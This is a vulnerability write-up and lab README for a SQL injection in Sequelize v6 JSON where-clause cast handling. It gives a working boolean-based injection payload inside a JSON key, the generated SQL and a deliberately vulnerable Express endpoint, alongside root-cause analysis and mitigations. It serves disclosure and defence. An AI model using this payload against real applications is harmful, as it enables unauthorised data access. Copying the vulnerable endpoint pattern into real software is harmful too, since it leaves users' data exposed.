CVE-2026-30951 Sequelize JSON Cast SQL Injection

★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★

https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381

Overview

CVE-2026-30951 is a SQL Injection vulnerability in Sequelize v6, a widely used Node.js ORM.

The vulnerability exists in JSON/JSONB where clause processing. When Sequelize parses a JSON path key containing ::, the value after :: is treated as a SQL cast type and is inserted into the generated SQL without proper validation.

If an attacker can control JSON object keys passed into a Sequelize where clause, they can manipulate the generated SQL query.

Affected Versions

Category	Version
Vulnerable	Sequelize v6.x <= 6.37.7
Patched	Sequelize 6.37.8
Not affected

Impact

SQL injection through attacker-controlled JSON object keys
Search filter bypass through boolean-based injection
Unintended query condition manipulation inside ORM-generated SQL

Environment

This repository contains a minimal vulnerable Node.js, Express, Sequelize, and SQLite challenge app.

Local Run

npm install
npm start

The app starts on:

http://127.0.0.1:9100

Docker

docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln

The Docker container starts on:

http://127.0.0.1:9100

PoC

After starting the vulnerable environment, follow the steps below to reproduce the injection.

Step 1. Send a normal search request

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name": "emma"
  }
}

This returns only users matching the normal name search logic.

Step 2. Trigger a boolean-based SQL injection

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name::text) or 1=1--": "emma"
  }
}

Expected result:

All user rows are returned.

Step 3. Confirm that SQL injection occurred

The crafted JSON key causes Sequelize to generate a cast expression similar to:

CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)

Because the cast type is attacker-controlled, the OR 1=1 condition changes the intended WHERE clause behavior. Returning all rows from the same search endpoint confirms that SQL injection is possible.

Analysis

Technical Root Cause

The vulnerability is caused by insufficient validation of JSON cast types in Sequelize v6.

Internally, Sequelize's JSON traversal logic splits JSON path keys on :::

jsonKey::castType

The cast type is then used in generated SQL like:

CAST(<json_extract_expression> AS <cast_type>)

In vulnerable versions, <cast_type> is not safely escaped or restricted to a known-safe allowlist. This allows an attacker-controlled JSON key to break out of the cast expression and inject SQL.

Dangerous Pattern

Any application pattern similar to the following may be vulnerable when using affected Sequelize versions:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: {
      metadata: req.body.filter
    }
  });

  res.json(users);
});

This is dangerous because the attacker controls not only JSON values, but also JSON object keys.

Why This Matters

This vulnerability is especially dangerous because many developers assume ORM query builders automatically protect against SQL injection. In this case, the injection happens inside ORM-generated SQL, after the application has already passed structured JavaScript objects to Sequelize.

Depending on the application logic, exploitation may allow:

bypassing intended search filters
altering boolean query conditions
changing the behavior of ORM-generated SQL

This is fundamentally a CWE-89: Improper Neutralization of Special Elements used in an SQL Command issue.

Scenario

+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Sends crafted JSON filter
                      | with malicious name:: key
                      v
+-------------------------------------------+
|        POST /api/users/search             |
+-------------------------------------------+
                      |
                      | Sequelize JSON where clause
                      | processes key containing ::
                      v
+-------------------------------------------+
|     Unescaped SQL cast type injection     |
+-------------------------------------------+
                      |
                      | Boolean condition manipulation
                      v
+-------------------------------------------+
|          SQL Injection Confirmed          |
+-------------------------------------------+

Mitigation

Upgrade Sequelize to 6.37.8 or later
Do not pass user-controlled objects directly into Sequelize JSON/JSONB where clauses
Reject or normalize user-controlled JSON keys before building ORM filters
Use whitelist-based filter construction instead of accepting arbitrary request body objects
Reject JSON keys containing SQL control syntax or cast separators such as :: unless explicitly required
Prefer server-defined query fields, for example:

const allowedFilters = ['name', 'role', 'team', 'office', 'department'];

if (!allowedFilters.includes(req.body.field)) {
  throw new Error('Invalid filter field');
}

Disclaimer

This repository is intended for security research, defensive validation, and educational use in controlled environments only.

Do not use this PoC against systems you do not own or do not have explicit permission to test.

EQST Insight

We publish CVE and malware analysis once a month. If you're interested, please follow the links below to check out our publications.

CVE-2026-30951

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